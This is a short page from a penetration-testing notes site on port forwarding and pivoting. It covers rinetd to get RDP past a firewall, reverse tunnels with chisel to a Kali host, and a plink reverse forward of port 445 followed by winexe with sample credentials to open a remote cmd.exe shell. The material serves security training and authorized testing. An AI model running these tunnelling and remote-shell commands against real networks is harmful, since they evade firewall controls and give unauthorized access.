Hack$Notes
Search…
Port Forwarding
Simple port forwarding tricks
Main Concept: Accept traffic on a given IP and then redirect to another IP, PORT

Scenario

A windows box wants to connect to an external device using RDP but due to the firewall restrictions it cannot.
We can set up a proxy on Linux box to bypass this:
1
vi /etc/rinetd.conf
2
(ADD) bindaddress bindport connectaddress connectport
3
local/public IP on kali (208.88.127.99) 80 External IP we want to connect 3389
4
/etc/init.d/rinetd restart
5
# Connect from windows to the external IP using RDP with 208.88.127.99:80
Copied!
Investigate sockets running on the target
1
ss -tulpn
2
3
-t: Display TCP sockets
4
-u: Display UDP sockets
5
-l: Displays only listening sockets
6
-p: Shows the process using the socket
7
-n: Doesn't resolve service names
Copied!

Chisel

1
### On Windows Target ###
2
chisel_windows.exe client KALI_IP_BOX:9002 R:14147:localhost:14147
3
4
### On Kali ###
5
./chisel_linux server --reverse --port 9002
Copied!

Download Chisel from here

1
On Target:
2
.\plink.exe [email protected]_IP -R 445:127.0.0.1:445
3
4
On Kali:
5
winexe -U ‘admin%password123’ //127.0.0.1 cmd.exe
Copied!
Last modified 6mo ago
Copy link